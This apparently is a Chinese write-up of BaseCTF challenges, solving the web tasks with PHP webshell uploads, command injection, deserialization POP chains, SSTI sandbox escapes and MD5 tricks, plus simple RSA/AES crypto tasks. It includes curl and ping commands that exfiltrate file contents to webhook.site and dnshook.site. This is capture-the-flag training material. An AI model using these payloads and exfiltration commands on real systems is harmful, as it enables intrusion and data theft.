web题
[Week1] HTTP 是什么呀
我们根据提示来传参数
ip添加X-Forwarded-For的值为127.0.0.1
get传参数时需要将值进行urlencode
1 | ?basectf=%77%65%31%63%25%30%30%6d%65 |
最后得到一个页面
提示我们来的路上,我们返回上一个页面,打开抓包进行抓包就得到flag了
最后进行base64解码
**[Week1] 喵喵喵´•ﻌ•`**3
1 | <?php |
进行命令执行
1 | ?DT=system("cat ../../../flag"); |
就能得到flag
[Week1] md5绕过欸
我们进行代码审计
1 | <?php |
首先绕过第一if语句,要求name!=pasword,但两个的md5值要相同(弱类型比较==)
我们想到md5后为0e开头的数的值为0
进行绕过
1 | ?name=QNKCDZO |
第二个if语句,要求name2!=pasword2,但两个的md5值要相同(强类型比较===)
我们用数组进行绕过,数组的md5值为false
1 | ?name=QNKCDZO&name2[]=1 |
得到flag
[Week1] A Dark Room
文字游戏,不管,我们先打开源码,在最底下找到flag
[Week1] upload
我们往php文件里写一个一句话木马
1 | <?php @eval($_POST[1]);?> |
直接上传,代码不用管
我们在右下角找到上传的图片
在新页面打开,复制链接去蚁剑,进行连接,找到flag
[Week1] Aura 酱的礼物
1 | <?php |
我们先用data伪协议绕过第一个if
1 | pen=data://text/plain;base64,QXVyYQ== |
第二个if, 我们要求页面的开头为 http://jasmineaura.github.io
1 | challenge=http://jasmineaura.github.io |
第三个if,我们需要往challenge里写入“已经收到Kengwang的礼物啦”,但页面开头要是http://jasmineaura.github.io,所以我们用[@绕过](https://cloud.tencent.com/developer/article/2288231)
1 | challenge=http://jasmineaura.github.io@127.0.0.1?challenge=data://text/plain,已经收到Kengwang的礼物啦 |
最后用filter伪协议打开flag.php文件
1 | pen=data://text/plain;base64,QXVyYQ==&challenge=http://jasmineaura.github.io@127.0.0.1?challenge=data://text/plain,已经收到Kengwang的礼物啦&gift=php://filter/convert.base64-encode/resource=flag.php |
[Week2] ez_ser
我们进行代码审计
1 | <?php |
我们发现在Misc累的getflag函数能输出flag,所以我们的目的是getflag函数
1 | class Misc { |
我们往上找,在pwn类中存在魔术方法_get()能执行getflag函数,所以接下来我们需要触发_get()
触发时机:调用的成员属性不存在
1 | class pwn { |
我们接着往上找,在re类中存在_toString()有个未定义的变量能触发_get(),所街接着我们要触发_toString()
触发时机:把对象被当做字符串调用
1 | class re{ |
我们在web类中发现_wakeup方法能打印变量,所以我们就能触发_tostring了
pop链
1 | <?php |
得到flag
[Week2] 一起吃豆豆
我们在游戏结束那里发现一串base64编码,解码得到flag
[Week2] 你听不到我的声音
1 | <?php |
shell_exec 不会将执行结果直接输出
- 我们使用重定向到文件
我们可以用流重定向符号来将输出内容重定向到文件中, 在通过浏览器进行下载
1 | cmd=cat ../../../flag > 1.txt |
通过
curl
外带我们可以通过 https://webhook.site/ 来进行数据外带, 我们可以拿到这样一个链接
1 | https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb |
此时这个路径下的所有请求都会被记录
于是我们可以通过shell指令:
1 | curl https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb/`cat /flag | base64` |
- Dnslog 外带
Dnslog 的话可以使用国内的 dnslog.cn
但是我个人觉得不稳定
也可用在刚刚那里的 webhook 下面有个 dnshook
此时我们可以用 ping 外带
1 | ping `cat /flag | base64`.xxxxxxx.dnshook.site |
- 直接写马
或者我们可以利用指令写马, 用 wget, curl 下载木马
[Week2] RCEisamazingwithspace
1 | <?php |
题目过滤了空格,我们使用${IFS}来代替空格
1 | cmd=cat${IFS}../../../flag |
[Week2] Really EZ POP
1 | <?php |
进行代码审计,我们在Sink类中发现eval函数,可以进行命令执行,所以我们需要触发_toString魔术方法
我们往下找,在Shark类中发现echo可以打印变量触发_toString,接下来我们就是要触发_invoke
我们在Sea类中发现$sea_ani()可以用来触发_invoke,接下来我们就是要触发_get,
我们在nature类中发现一个未定义变量可以触发_get
由于类中存在私有属性,我们先把私有属性变为公有属性
1 | <?php |
然后再修改序列化,将之前的私有属性修改回来,再进行
url编码
1 | O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A28%3A%22system%28%22cat+..%2F..%2F..%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D |
[Week2] 数学大师
1 | import requests |
[Week2] 所以你说你懂 MD5?
1 | <?php |
第一个if我们使用数组绕过
1 | apple[]=1&banana[]=2 |
第二个if我们使用科学计数法绕过
1 | apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708 |
第三个if是强类型比较,此时我们需要找到真实的 MD5 值一致的内容, 我们可以使用 fastcoll 工具
1 | fastcoll -o a a1 |
1 | apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=admin |
第四个地方使用了哈希长度扩展攻击,我们使用脚本https://github.com/shellfeel/hash-ext-attack
我们需要知道已知字符的长度,我们使用
1 | bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) |
虽然值不一样但长度是一样的,为96
得到flag
[Week3] 滤个不停
1 | <?php |
第一层是个简单的字符串相等,很容易就绕过去了
第⼆层是⽂件包含漏洞,过滤了很多协议,这⾥可以使⽤⽇志包含。
[Week3] 玩原神玩的
1 | <?php |
第⼀次判断传⼊的数组是否和 array 数组⼤⼩相等,我们不知道 array 数组的⼤⼩,只能爆破。
这⾥写⼀个脚本获取 payload,然后⼿动删改爆破
1 | payload='' |
爆破后发现 array 的⻓度为 45,进⼊第⼆层。
第⼆层很简单,传⼊指定字符串即可。
第三层要求传⼊⼀个 m 数组,其中 m[0] 是字符串 100% ,m[1] 是字符串 love100% 拼接 m[0]
的 md5 值。
注意 % 需要 URL 编码。
最后⼀层,给出加密后的 flag 数组,加密流程很简单,就是把 flag 每⼀个字符的 ASCII 值和当前索引
异或再取 md5 值,挨个输出,写⼀个脚本爆破即可。
1 | from hashlib import md5 |
[Week3] ez_php_jail
1 |
|
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
过滤了一些东西,我们可以使用highlight_file打开
1 | /?Jail[by.Happy=highlight_file(glob("/f*")[0]); |
glob() 函数:返回一个包含匹配指定模式的文件名或目录的数组,如果失败则返回 FALSE。
[Week3] 复读机
SSTI,过滤了一些关键字和一些符号,经过测试,过滤了以下符号
1 | + - * / . {{ }} __ : " \ |
先是使用继承链走到 RCE
过滤了 .
,可以用中括号绕,过滤了关键字,可以在关键字中间插入一对单引号 ''
寻找能 RCE 的类,比如 <class 'os._wrap_close'>
1 | BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%} |
接着使用这个类里的 popen
函数来 RCE
1 | BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%} |
因为过滤了斜杠和反斜杠,无法直接跳到根目录,这里提供三个方法来获取斜杠来跳到根目录
法一:利用 chr 函数来构造出一个命令
先找到 chr
1 | BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} |
接着用 chr 搭配上数字构造出想要执行的命令
1 | BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} |
最后把 cmd 作为 popen 的参数传递进去,即可得到 flag
同理,利用 format 来得到 /
也是可以的
1 | BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %} |
法二:利用环境变量的值
查看环境变量,可以看到 OLDPWD=/
1 | BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%} |
此时可以直接利用它来切换到根目录,然后再读flag
1 | BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%} |
法三:利用 expr substr
切割出一个 /
比如 pwd 中的第一个字符就是 /
,那用 expr substr
切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了
1 | BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%} |
[Week4] flag直接读取不就行了
1 | <?php |
我们使用php原生类来查找secret文件夹的内容
1 | ?K=DirectoryIterator&W=/secret/ |
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
DirectoryIterator 类会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
1 | <?php |
然后我们使用SplFileObject类用伪协议读取php内容
1 | J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php |
https://blog.csdn.net/unexpectedthing/article/details/121780909
Crypot
[Week1] helloCrypto
我们分析代码
1 | from Crypto.Util.number import * |
这是个AES对称加密,使用的是ECB模式
代码先随机生成密钥key,以 ECB 模式创建 AES 加密对象 my_aes
。
将 flag
填充至AES的块大小(16字节)的倍数。
my_aes.encrypt(...)
:使用AES加密填充后的 flag
,并打印加密后的密文。
key1
是一个长整数形式的密钥值。
c
是一个加密后的字节串。
如果将 key 转回字节形式,并用它来解密 c
,可以恢复出原始的 flag
。
1 | from Crypto.Util.number import long_to_bytes |
[Week1] ez_rsa
rsa加密
我们来看代码
1 | from Crypto.Util.number import * |
通过代码我们可以知道n,not_phi,c,e的值我们需要得到m,就需要d和phi
通过分解not_phi,我们可以得到p+q的值,然后就能得到phi的值,有了phi,我们通过与e逆元得到d,最后解密m得到flag
1 | from Crypto.Util.number import * |
[Week1] 十七倍
1 | #include <stdio.h> |
根据提示,cipher里的值是flag的字符的ascii码乘以17再模256得到的值
我们可以反向推导,遍历数组,再遍历1到5000的数字,如果它模上256为数组中的值且能被17整除,我们就打印这个字符,于是我们得到
1 | #include <stdio.h> |
[Week1] 你会算md5吗
1 | import hashlib |
[Week1] babyrsa
$$\phi(n)$$表示从1到n之间,有多少个数与n互素。
计算方法:排除掉不与n互素的数。
$$\phi(pq)=pq-p-q+1 = (p-1)(q-1)$$
这题n已经是素数了,1到n-1都与n互素,$$\phi(n)=n-1$$
1 | from Crypto.Util.number import * |
[Week1] babypack
1 | 简单的超递增序列(不懂的可以简单了解一下背包密码) |
1 | #BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9} |